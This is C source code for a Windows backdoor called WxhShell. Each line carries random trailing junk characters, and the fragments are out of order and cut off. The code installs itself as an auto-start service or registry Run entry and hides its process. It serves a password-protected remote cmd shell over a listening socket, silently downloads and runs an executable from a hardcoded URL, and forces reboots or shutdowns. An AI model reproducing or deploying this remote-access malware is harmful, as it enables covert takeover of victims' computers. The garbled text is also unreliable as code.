    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nR`)kORc  
    if(Boot(SHUTDOWN)) >vKOG@I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #b wGDF  
    else { #$ooV1E  
    closesocket(wsh); HvLx  
    ExitThread(0); A5?q&VS}p  
    } z=yE- I{  
    break; #6*20w_u  
    } iOJ5KXrAO  
  // 获取shell 7^W(es  
  case 's': { UAe8Ct=YJ  
    CmdShell(wsh); ;DX g  
    closesocket(wsh); e6gLYhf&  
    ExitThread(0); OWT|F0.1$k  
    break; P "%f8C~r  
  } w9TE E,t;5  
  // 退出 Znd ,FqHk  
  case 'x': { zyP9 n[eZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %WlTx&jSgE  
    CloseIt(wsh); +=K =B  
    break; \- 8S"  
    } kwUy^"O  
  // 离开 w0^}c8%WR  
  case 'q': { SW)jDy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A~({vb'  
    closesocket(wsh); zvK'j"Wq=  
    WSACleanup(); D`R~d;U~  
    exit(1); SFR<T  
    break; ;cfPS  
        } z)Lw\H^/  
  } l KG' KR.  
  }  ) fQ1U  
7j8lhrM}^  
  // 提示信息 53WCF[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); __Zex5Y#-  
} mx5#K\  
  } kgh0  
s;cGf+  
  return; K5^`,}Q^  
} Zm*qV!  
,ygUy]  
// shell模块句柄 89Ir}bCr  
int CmdShell(SOCKET sock) :!ablO~  
{ WG*),P?  
STARTUPINFO si; L%jIU<?Z7  
ZeroMemory(&si,sizeof(si)); hBi/lHu'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mj`g84  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3,?LpdTS  
PROCESS_INFORMATION ProcessInfo; IG&twJR  
char cmdline[]="cmd"; D)tL}X$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )H(i)$I  
  return 0; 0< 93i   
} -9Dr;2\  
 :!Nx'F9a  
// 自身启动模式 9oYE  
int StartFromService(void) ^.9Df A0  
{ ?j&ZzK'#^  
typedef struct  |A\o  
{ C5g9Gg  
  DWORD ExitStatus; ! (Q[[M  
  DWORD PebBaseAddress; $0k7W?tu  
  DWORD AffinityMask; lffw "  
  DWORD BasePriority; 0S96x}]J B  
  ULONG UniqueProcessId; q%LjOPE V  
  ULONG InheritedFromUniqueProcessId; [* M':  
}   PROCESS_BASIC_INFORMATION; BA[ uO3\4  
#p ;O3E@  
PROCNTQSIP NtQueryInformationProcess; #\ uB!;Q  
UA|\D]xe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6-z(34&N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ) "Z6Q5k^  
Kq5i8L=u  
  HANDLE             hProcess; i+F*vTM2,  
  PROCESS_BASIC_INFORMATION pbi; /24}>oAH  
/>N#PF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vVP.9(  
  if(NULL == hInst ) return 0; yi:}UlO  
l(W?]{C[%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8L+A&^qx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y^z c @f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1nw\?r2  
TF9A4  
  if (!NtQueryInformationProcess) return 0; 4/%Y@Z5  
nRvaCAt^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  yj=OR|v  
  if(!hProcess) return 0; E]v?:!!ds  
mx#%oJnsi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S*gm[ZLQ  
#^BttI  
  CloseHandle(hProcess); \t 5_V)P  
!9.FI{W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ii&p v  
if(hProcess==NULL) return 0; \B^NdG5Y  
M4D @G  
HMODULE hMod; OE}FZCX F  
char procName[255]; cUr!U\X[  
unsigned long cbNeeded; na|sKE;{  
\KzH5?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @v#,SF{  
7377g'jL  
  CloseHandle(hProcess); @+l=R|  
qZ4)) X  
if(strstr(procName,"services")) return 1; // 以服务启动 +xvn n  
^Ua6.RH8  
  return 0; // 注册表启动 .cHkh^EDY  
} %`QgG   
Q6wa-Y,  
// 主模块 8d2\H*a9~  
int StartWxhshell(LPSTR lpCmdLine) t0GJ$])  
{ f%i%QZP  
  SOCKET wsl; 8*x=Fm,Ok  
BOOL val=TRUE; YYT#{>&  
  int port=0; +g kJrw  
  struct sockaddr_in door; [uK{``"  
M>[ A  
  if(wscfg.ws_autoins) Install(); R7U%v"F>`  
' ,S}X\  
port=atoi(lpCmdLine); ]<C]`W2{  
c#>(8#'.U  
if(port<=0) port=wscfg.ws_port; vS)>g4  
1;H"4u_IG&  
  WSADATA data; -jy0Kl/p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T=)qD2?  
!\[JWN@v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d,?Tq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KPI96P  
  door.sin_family = AF_INET; :vX%0|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Fi67"*gE  
  door.sin_port = htons(port); 7F6 B  
/`7+Gy<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |35OA/O?X  
closesocket(wsl); 'A^q)hpax  
return 1; [61*/=gWe  
} K, I  
f*B-aj#  
  if(listen(wsl,2) == INVALID_SOCKET) { yi*EobP  
closesocket(wsl); b,YNCb]H  
return 1; g&y^r/  
} %T\hL\L?  
  Wxhshell(wsl); ]gg(Z!|iQ  
  WSACleanup(); (wM` LE(Ks  
Y)DX   
return 0; =u?aP}zc  
-YAtM-VL  
} |oke)w=gn  
QxdC[t$Lp  
// 以NT服务方式启动 P!E2.K,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5K2K'ZkI  
{ KMz!4N  
DWORD   status = 0; )S(Ly.  
  DWORD   specificError = 0xfffffff; XC)9aC@s  
e1LIk1`p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i/%l B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *=2W:,$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~bx ev/$d  
  serviceStatus.dwWin32ExitCode     = 0; 4|E^ #C  
  serviceStatus.dwServiceSpecificExitCode = 0; j7gw?,  
  serviceStatus.dwCheckPoint       = 0; xsn=Ji2 F  
  serviceStatus.dwWaitHint       = 0; )?UoF&c/  
Jp_#pV*}:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r+8D|stS  
  if (hServiceStatusHandle==0) return; @$T$hMl  
`vgaX,F*  
status = GetLastError(); 4minzrKM\  
  if (status!=NO_ERROR) 5N;'CAk  
{ Mh4MaLw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D,ZLo~  
    serviceStatus.dwCheckPoint       = 0; |DJ8 "T]E  
    serviceStatus.dwWaitHint       = 0; +IWH7qRtp  
    serviceStatus.dwWin32ExitCode     = status; #YYJ4^":k  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~cCMLK em  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @)uV Fw"\  
    return; e5>'H!)  
  } V7Cnu:0_  
"H).2{3(x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f4b9o[,s2e  
  serviceStatus.dwCheckPoint       = 0; %g}d}5s  
  serviceStatus.dwWaitHint       = 0; .Mb[j1L^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ur\6~'l4  
} dY S(}U  
!T][c~l  
// 处理NT服务事件,比如:启动、停止 , :#bo]3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YE{ [f@i0  
{ JiaR*3#  
switch(fdwControl) #~|k EGt  
{ P,{Q k~iu  
case SERVICE_CONTROL_STOP: 2CO/K_Q  
  serviceStatus.dwWin32ExitCode = 0; KU/r"lMNlU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'R79,)|;[  
  serviceStatus.dwCheckPoint   = 0; :xPo*#[Z(A  
  serviceStatus.dwWaitHint     = 0; "mW'tm1+  
  { gCb+hQq\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2URGd#{VQ  
  } &Mk!qE<:N  
  return; G XVx/) H  
case SERVICE_CONTROL_PAUSE: vTO9XHc E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; );7 d_#  
  break; QDg5B6>$  
case SERVICE_CONTROL_CONTINUE: @@Ybg6.+*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B2ln8NF#Q  
  break; )}`z<)3jP  
case SERVICE_CONTROL_INTERROGATE: 6iyl8uL0J  
  break; Q+T#J9Y  
}; q`'f /CS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OuTV74  
} M?eP1v:<+G  
pT]hPuC  
// 标准应用程序主函数 G+8)a$?v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E+@Q u "W  
{ {Ya$Q#l  
Uz^N6q  
// 获取操作系统版本 {fR\yWkt?  
OsIsNt=GetOsVer(); C e-ru)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tb+gCs'D  
(XO=W+<'  
  // 从命令行安装 p|-MwCeH  
  if(strpbrk(lpCmdLine,"iI")) Install(); SN}K=)KF#  
DWt|lO  
  // 下载执行文件 S{+t>en  
if(wscfg.ws_downexe) { x|0C0a\"A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l/'GbuECm  
  WinExec(wscfg.ws_filenam,SW_HIDE); f=F:Af!  
} A*y4<'}<  
2d[q5p  
if(!OsIsNt) { Xxg|01  
// 如果时win9x,隐藏进程并且设置为注册表启动 .KA-=$~J1  
HideProc(); STW?0B'Jr  
StartWxhshell(lpCmdLine); Ay?<~)H  
} 2X@9o4_4q  
else |IcW7(  
  if(StartFromService()) F] c\Qt  
  // 以服务方式启动 '@t$3 hk  
  StartServiceCtrlDispatcher(DispatchTable); .`OU\LA  
else F}_b7 |^  
  // 普通方式启动 ;'n%\*+fHH  
  StartWxhshell(lpCmdLine); IgX &aW  
6!m#;8 4  
return 0; j 2ag b  
} xaMDec V  
*-nO,K>y`  
Te+(7 Z  
*4U_MM#rX  
=========================================== mAW.p=;  
r N$0qo  
g-sNYd%?a  
= j1Jl^[  
>a?Bk4w  
e'3V4iU]  
" ="voJgvw  
Tz @=N]D  
#include <stdio.h> J?8Mo=UZz  
#include <string.h> _Vr- bpAf  
#include <windows.h> v76Gwu$ d  
#include <winsock2.h> W@T \i2r$z  
#include <winsvc.h> o9eOp3w30  
#include <urlmon.h> [I *_0  
|(>`qL{|  
#pragma comment (lib, "Ws2_32.lib") xnZnbgO+  
#pragma comment (lib, "urlmon.lib") )zr*Ecz  
BiYxI{VFD  
#define MAX_USER   100 // 最大客户端连接数 }nd>SK4  
#define BUF_SOCK   200 // sock buffer H9*k(lnz`  
#define KEY_BUFF   255 // 输入 buffer >@2<^&K`  
GTdoUSUq  
#define REBOOT     0   // 重启 %biie  
#define SHUTDOWN   1   // 关机 {=Zy;Er  
}4|EHhG  
#define DEF_PORT   5000 // 监听端口 m)Plv+R}  
fqgp{(`@>  
#define REG_LEN     16   // 注册表键长度 6gV*G  
#define SVC_LEN     80   // NT服务名长度 :0J`4  
 >(Y CZ  
// 从dll定义API <YaTr9%w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LiG$M{0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z2g'&,uc#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |.N[NY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d_!Z /M,  
3`^@ymY  
// wxhshell配置信息 !Km[Qw k-  
struct WSCFG { eYUb>M)  
  int ws_port;         // 监听端口 V]zc-gYI  
  char ws_passstr[REG_LEN]; // 口令 &<F9Z2^  
  int ws_autoins;       // 安装标记, 1=yes 0=no <\&9Odqc  
  char ws_regname[REG_LEN]; // 注册表键名 TR DQ+Z  
  char ws_svcname[REG_LEN]; // 服务名 *S,~zOYN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lfgJQzi G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lz,M$HG<[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xi5"?*&Sb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ) D@j6r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +{:uPY#1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U^dfNi@q  
*[[Gu^t^!  
}; d0(zB5'}  
E4 X6f  
// default Wxhshell configuration LikcW#  
struct WSCFG wscfg={DEF_PORT, @2>UR9j  
    "xuhuanlingzhe", F/oqYk9`  
    1, {MgRi 7  
    "Wxhshell", b84l`J  
    "Wxhshell", yvd)pH<a2  
            "WxhShell Service", 5BVvT `<  
    "Wrsky Windows CmdShell Service", [^qT?se{  
    "Please Input Your Password: ", ALMsF2H  
  1, o2!738  
  "http://www.wrsky.com/wxhshell.exe", T9nb ~ P[  
  "Wxhshell.exe" ? :H+j6+f  
    }; S{=5n R9j  
jK w 96  
// 消息定义模块 G2` z?);1b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~5KcbGD~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y!FO  
char *msg_ws_ext="\n\rExit."; k\f _\pj6  
char *msg_ws_end="\n\rQuit."; meX2Y;  
char *msg_ws_boot="\n\rReboot..."; J2z/XHS  
char *msg_ws_poff="\n\rShutdown...";  /qLO/Mim  
char *msg_ws_down="\n\rSave to "; e*:K79 y  
Aw#<:6-  
char *msg_ws_err="\n\rErr!"; _uIS[%4g  
char *msg_ws_ok="\n\rOK!"; bZ`v1d (r  
K%z!#RyJ4  
char ExeFile[MAX_PATH]; K\K& K~Z  
int nUser = 0; Hyb(.hlZh  
HANDLE handles[MAX_USER]; }3#\vn0gT  
int OsIsNt; 4XpWDfa.}  
BSm"]!D8*  
SERVICE_STATUS       serviceStatus; ,L<JG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]+D@E2E  
rB[J*5v  
// 函数声明 !Z$d<~Mq q  
int Install(void); $+4DpqJ  
int Uninstall(void); -UhpPw 6  
int DownloadFile(char *sURL, SOCKET wsh); QH'*MY  
int Boot(int flag); 9j 2t|D4uT  
void HideProc(void); @c|=onx5  
int GetOsVer(void); 2) X#&IE  
int Wxhshell(SOCKET wsl); xw#CwMbbi  
void TalkWithClient(void *cs); 1:-'euA"  
int CmdShell(SOCKET sock); yv,FzF}7  
int StartFromService(void); 2zC4nF)>O  
int StartWxhshell(LPSTR lpCmdLine); Ta?J;&<u]/  
(?4%Xtul1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2 @#yQB1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (:l6R9'=  
5JzvT JMx  
// 数据结构和表定义 n>'(d*[e&  
SERVICE_TABLE_ENTRY DispatchTable[] = eRMN=qP.q  
{ ^j}C]cq{Xg  
{wscfg.ws_svcname, NTServiceMain}, F-m%d@P&X  
{NULL, NULL} :kgh~mx5LF  
}; F6\{gQ<E  
d( v"{N}  
// 自我安装 Df6i*Ko|  
int Install(void) #h;   
{ D3Q+K  
  char svExeFile[MAX_PATH]; {)" 3  
  HKEY key; (| QJ[@?q  
  strcpy(svExeFile,ExeFile); !Tnjha*  
0Ui.nz j  
// 如果是win9x系统,修改注册表设为自启动 $TUYxf0q  
if(!OsIsNt) { GHv6UIe&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x=*&#; Y|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *Soi  
  RegCloseKey(key); Tz,-~mc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `O\>vn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;<+efYmyc  
  RegCloseKey(key); Fd9[Pe@?`  
  return 0; Ud/>oaW?s  
    } m\>gOTpA4  
  } Y|tHU'x  
} `D+zX  
else { "| nXR8t.r  
Wdd}y`lS  
// 如果是NT以上系统,安装为系统服务  S!?T0c?>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :;%Jm  
if (schSCManager!=0) V(S7mA:T  
{ pCKP{c=6Q  
  SC_HANDLE schService = CreateService /2K"Mpf8  
  ( K6v~!iiK$  
  schSCManager, I\)`,w  
  wscfg.ws_svcname, KXt8IMP_"y  
  wscfg.ws_svcdisp, %vmd2}dA  
  SERVICE_ALL_ACCESS, Myc-lCE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P+CV4;Xz  
  SERVICE_AUTO_START, rNN>tpZ}  
  SERVICE_ERROR_NORMAL, Jm4uj &}3  
  svExeFile, Y '/6T]a  
  NULL, \[G'cE  
  NULL, I!/32* s1t  
  NULL, YmljHQP  
  NULL, mb*Yw 6q  
  NULL s#$t!F??9  
  ); {it.F4.  
  if (schService!=0) +g1>h ,K 3  
  { H!;N0",]N  
  CloseServiceHandle(schService); oG,>Pk  
  CloseServiceHandle(schSCManager); O,%UNjx9K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6P{bUom?  
  strcat(svExeFile,wscfg.ws_svcname); y [Vd*8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +<E#_)}`D6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P'~`2W0sz  
  RegCloseKey(key); F,_L}  
  return 0; f`qy~M&  
    } -zK>{)Z=q  
  } ".}R$ W  
  CloseServiceHandle(schSCManager); ,hzRqFg2  
} S#ryEgc]  
} e:G~P u`  
2}^=NUM\NX  
return 1; 'aNkU  
} - (s0f  
zgjg#|  
// 自我卸载 ;+75"=[YT  
int Uninstall(void) 2IYzc3Z{9  
{ g9C ; JmU  
  HKEY key; "leSQ  
y [McdlH m  
if(!OsIsNt) { p[4 +`8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2$JZ(qnN  
  RegDeleteValue(key,wscfg.ws_regname); 19fa7E<  
  RegCloseKey(key); EZ!! V~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >Tf}aI+  
  RegDeleteValue(key,wscfg.ws_regname); G 2`YZ\  
  RegCloseKey(key); 8~U ^G[!  
  return 0; ?0~g1"Y-*K  
  } e;6:U85LS  
} `}Y)l:G*g  
} AE~zm tW  
else { XL*M#Jx  
}8#olZ/(q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *(x.egORd  
if (schSCManager!=0) ^fF#Ej1  
{ o@A`AA9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M7BpOmK'  
  if (schService!=0) P#TPI*qw  
  { QGNKQ`~  
  if(DeleteService(schService)!=0) { CVO_F=;  
  CloseServiceHandle(schService); xa`xHh{0  
  CloseServiceHandle(schSCManager); jt oS{B,  
  return 0; 4Uny.C]  
  } Yo%U{/e  
  CloseServiceHandle(schService); 7~2_'YX>:  
  } th{J;a  
  CloseServiceHandle(schSCManager); U)dcemQY  
} 8*-)[+s9il  
} ,Ee5}#dI  
DT-.Gdb8  
return 1; u-~ec{oBu  
} DVd8Ix<  
";.j[p:gi  
// 从指定url下载文件 6vNW)1{nn  
int DownloadFile(char *sURL, SOCKET wsh) (H:c8 0/V  
{ }hy4EJ  
  HRESULT hr; AYf}=t|  
char seps[]= "/"; vapC5,W"2-  
char *token; C-edQWbcP  
char *file; |0Z J[[2  
char myURL[MAX_PATH]; ue8 @=}  
char myFILE[MAX_PATH]; )Q1aAS3  
* o1US  
strcpy(myURL,sURL); q&=z^Ln!G  
  token=strtok(myURL,seps); pCkMm)2g!  
  while(token!=NULL) 4$^mLD$>  
  { \zU<o~gs  
    file=token; xR-;,=J  
  token=strtok(NULL,seps); {)Wf[2zJ  
  } ?Nt(sZ-  
 Ht.P670  
GetCurrentDirectory(MAX_PATH,myFILE); ]Q FI>  
strcat(myFILE, "\\"); B-g uz  
strcat(myFILE, file); ql9n`?Q  
  send(wsh,myFILE,strlen(myFILE),0); ~Jf(M ^E  
send(wsh,"...",3,0); /BgX Y}JC.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6EC',=)6R  
  if(hr==S_OK) TJYhgna  
return 0; e,C c.T\o  
else _V3z!aI  
return 1; 7s^b@&Le  
l]wfL;u  
} KS#A*BRQ  
p+g=Z<?`  
// 系统电源模块 i7)J|(N2.  
int Boot(int flag) 'A{zH{  
{ p+b/k2 Q  
  HANDLE hToken; TQb/lY9*  
  TOKEN_PRIVILEGES tkp; 8}yrsF #  
4evN^es'I_  
  if(OsIsNt) { _L=-z*a\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l!gX-U%-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (PE.v1T  
    tkp.PrivilegeCount = 1; a;5clonB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `BZ|[ q3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *& w/*h$!  
if(flag==REBOOT) { W7C1\'T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N!.o`4 "z  
  return 0; a6zWg7 PN  
} ~5Fx[q  
else { wYe;xk`>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }alq~jY  
  return 0; N?c~AEk9U  
} <f (z\pi1  
  } st??CX2  
  else { n^1BtP0!  
if(flag==REBOOT) { q-CgX wU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }\m.~$|[  
  return 0; Qu#[PDhb  
} CH `Kpt  
else { PkFG0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ")9^  
  return 0; <:AA R2=  
} w nBvJb]4l  
} w3i74C&0  
h>>~Bi  
return 1; -5v{p  
} 6  _V1s1F  
'hu'}F{  
// win9x进程隐藏模块 CE{2\0Q  
void HideProc(void) Cn=#oE8(A  
{ a`:F07r  
k@9hth2Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A1;'S<a  
  if ( hKernel != NULL ) 7%$3`4i`O  
  { .|CoueH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f#Ud=& >j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o5Rv xGN  
    FreeLibrary(hKernel); x?rd9c  
  } / \qzTo  
d l Ab`ne  
return; l ?b*T#uIk  
} '_Q';T_n99  
IJ5'n  
// 获取操作系统版本 8 # BR\  
int GetOsVer(void) D?dS/agA  
{ Mk9J~'C_  
  OSVERSIONINFO winfo; 1Z?uT[kR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TPx`qyW  
  GetVersionEx(&winfo); R'1j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cSv;HN:  
  return 1; E3{kH 7_'\  
  else Vug[q=i  
  return 0; 'I}wN5`  
} H`k YDp  
v6wg,,T  
// 客户端句柄模块 >B``+ Z^2  
int Wxhshell(SOCKET wsl) `*0VN(gf'  
{ UdcV<#  
  SOCKET wsh; yD$d^/:  
  struct sockaddr_in client; 'Sgz\ =K  
  DWORD myID; CXuMNa  
9]T61Z{OW1  
  while(nUser<MAX_USER) :3s^, g  
{ zXUB6. e  
  int nSize=sizeof(client); g`Q!5WK*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 89KFZ[.}]  
  if(wsh==INVALID_SOCKET) return 1; 3A0Qjj=  
=oq=``%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H>D?  
if(handles[nUser]==0) n@H;*nI|  
  closesocket(wsh); K[?@nl?,z  
else Wc m'E3c,  
  nUser++; }!r pH{y  
  } ~Hd *Xl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g/FT6+&T.  
Kc@Sw{JR#7  
  return 0; ~-G_c=E?  
} +2p}KpOsL  
eVX/<9>  
// 关闭 socket Rxr?T-  
void CloseIt(SOCKET wsh) eu]qgtg~U  
{ 4Wvefq"  
closesocket(wsh); oV9{{  
nUser--; M @G\b^"  
ExitThread(0); ew,okRCN  
} UHk)!P>  
cM,g, E}  
// 客户端请求句柄  `2\:b^h  
void TalkWithClient(void *cs) 4M0p:Ey '  
{ RkTYvAk|kY  
'"c`[L7Wn  
  SOCKET wsh=(SOCKET)cs; x <aR|r  
  char pwd[SVC_LEN]; _V8;dv8  
  char cmd[KEY_BUFF]; -glGOTk  
char chr[1]; I!(BwYd  
int i,j; ttB>PTg#  
}Q\+w,pJgN  
  while (nUser < MAX_USER) { ;gAL_/_  
B7Zi|-F  
if(wscfg.ws_passstr) { +~:OUR*>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CRiqY_gBf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e\-,e+  
  //ZeroMemory(pwd,KEY_BUFF); AuM}L&`i^  
      i=0; C%ZPWOc_8  
  while(i<SVC_LEN) { <Voct  
WuI$   
  // 设置超时 A5\ Hq  
  fd_set FdRead; n _x+xVi%  
  struct timeval TimeOut; MO| Dwuaf  
  FD_ZERO(&FdRead); CbxWK#aMmB  
  FD_SET(wsh,&FdRead); _KT'W!7  
  TimeOut.tv_sec=8; F|'u0JQ)$  
  TimeOut.tv_usec=0; {,(iL8,^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7 +KI9u}-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yne1MBK  
~gQYgv<7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VV 54$a  
  pwd=chr[0]; 9pr.`w  
  if(chr[0]==0xd || chr[0]==0xa) { f;OB"p  
  pwd=0; /<-=1XJI  
  break; zK_P3r LsS  
  } zTPNQ0=|  
  i++; P0sAq7"  
    } +M#}(hK  
A@:U|)+4  
  // 如果是非法用户,关闭 socket Nq6; z)$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '.gi@Sr5  
} 5G`fVsb  
R>5Xv%R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sX}#L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0S&J=2D!  
mfffOG  
while(1) { E.0J94>iM  
`|v/qk7 ^?  
  ZeroMemory(cmd,KEY_BUFF); z;/8R7L&  
D6fd(=t1Z  
      // 自动支持客户端 telnet标准   'qG-)2 t  
  j=0; ox\D04:M  
  while(j<KEY_BUFF) { R >&8%%#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \L}7.fkb8  
  cmd[j]=chr[0]; l,3,$  
  if(chr[0]==0xa || chr[0]==0xd) { R[* n3 wB  
  cmd[j]=0; !g)rp`?  
  break; , )TnIByM  
  } %]4=D)Om  
  j++; jY=M{?h''  
    } q\gbjci  
\~Ml<3Zd:  
  // 下载文件 XIdC1%pr;  
  if(strstr(cmd,"http://")) { CvEIcm=t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); > sQ&5-i  
  if(DownloadFile(cmd,wsh)) L.JL4;U P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \D]9:BNJ  
  else vSv1FZu*  
